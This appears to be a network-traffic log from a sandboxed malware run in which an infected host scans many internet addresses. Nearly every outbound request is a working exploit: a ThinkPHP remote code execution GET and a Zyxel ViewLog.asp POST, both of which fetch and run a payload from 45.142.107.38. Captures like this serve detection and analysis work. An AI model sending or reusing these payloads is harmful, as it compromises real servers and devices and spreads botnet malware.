Mar 4, 2024 15:07:19.756664991 CET	482	IN	HTTP/1.1 400 Bad Request Server: Tengine Date: Mon, 04 Mar 2024 14:07:19 GMT Content-Type: text/html Content-Length: 249 Connection: close Via: cache20.cn4714[,0] Timing-Allow-Origin: * EagleId: 0000000017095612395716840e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0d 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>400 Bad Request</h1><p>Your browser sent a request that this server could not understand.<hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
406	192.168.2.13	49076	95.101.211.56	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:19.715811014 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:19.900320053 CET	478	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 256 Expires: Mon, 04 Mar 2024 14:07:19 GMT Date: Mon, 04 Mar 2024 14:07:19 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 64 38 37 31 30 30 32 26 23 34 36 3b 31 37 30 39 35 36 31 32 33 39 26 23 34 36 3b 61 61 65 33 30 35 37 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.d871002.1709561239.aae3057</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
407	192.168.2.13	40184	95.86.64.240	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:19.749576092 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
408	192.168.2.13	46910	112.126.75.62	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:20.079169989 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:20.418270111 CET	493	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:07:20 GMT Server: Apache/2.4.7 (Ubuntu) Content-Length: 300 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 37 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 6f 63 61 6c 68 6f 73 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.7 (Ubuntu) Server at localhost Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
409	192.168.2.13	44190	94.123.85.119	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:21.381647110 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:25.558944941 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
410	192.168.2.13	35482	88.119.92.235	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:21.795772076 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
411	192.168.2.13	57122	95.140.228.156	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:21.995673895 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:22.193461895 CET	269	IN	HTTP/1.1 400 Bad Request Server: EdgePrism/5.1.7.0 Mime-Version: 1.0 Date: Mon, 04 Mar 2024 14:07:22 GMT Content-Type: text/plain Expires: Mon, 04 Mar 2024 14:07:22 GMT X-LLID: 0e23981ee57abceb612ece962b39158c Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
412	192.168.2.13	35582	95.213.197.12	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:22.003587961 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:22.209110022 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:07:22 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
413	192.168.2.13	36524	95.142.37.36	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:22.238250017 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:22.488398075 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.1 Date: Mon, 04 Mar 2024 14:25:19 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
414	192.168.2.13	45756	95.56.17.126	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:22.240048885 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:22.496119976 CET	29	IN	HTTP/1.1 200 OK
Mar 4, 2024 15:07:22.496157885 CET	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www

Session ID	Source IP	Source Port	Destination IP	Destination Port
415	192.168.2.13	40520	95.57.209.81	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:22.248709917 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:22.513237953 CET	29	IN	HTTP/1.1 200 OK
Mar 4, 2024 15:07:22.513477087 CET	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www

Session ID	Source IP	Source Port	Destination IP	Destination Port
416	192.168.2.13	54918	94.121.115.36	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:22.395728111 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
417	192.168.2.13	47192	94.122.90.86	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:22.617683887 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
418	192.168.2.13	43712	85.208.22.38	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:22.803029060 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
419	192.168.2.13	45458	94.122.222.32	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:22.833998919 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
420	192.168.2.13	40476	31.0.169.86	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:23.007895947 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
421	192.168.2.13	35626	95.213.197.12	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:23.737045050 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:23.944753885 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:07:23 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
422	192.168.2.13	52290	112.204.106.134	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:23.855046988 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:24.185965061 CET	329	IN	HTTP/1.0 400 Bad Request Cache-Control: no-store Connection: close Content-Length: 103 Content-Type: text/html Date: Mon, 04 Mar 2024 14:07:02 GMT Expires: 0 Pragma: no-cache X-Frame-Options: sameorigin Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 34 30 30 20 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a Data Ascii: <!doctype html><html lang=en><title>Error 400 : Bad Request</title><h1>Error 400 : Bad Request</h1>

Session ID	Source IP	Source Port	Destination IP	Destination Port
423	192.168.2.13	38186	112.126.102.4	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:23.934992075 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:24.342003107 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Mar 2024 14:07:24 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
424	192.168.2.13	40114	112.78.47.123	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:24.288196087 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:24.751070023 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:25.098603010 CET	335	IN	HTTP/1.1 400 Bad Request Server: nginx/1.6.2 Date: Mon, 04 Mar 2024 14:09:25 GMT Content-Type: text/html Content-Length: 172 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 36 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.6.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
425	192.168.2.13	38606	31.136.90.6	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:24.596283913 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
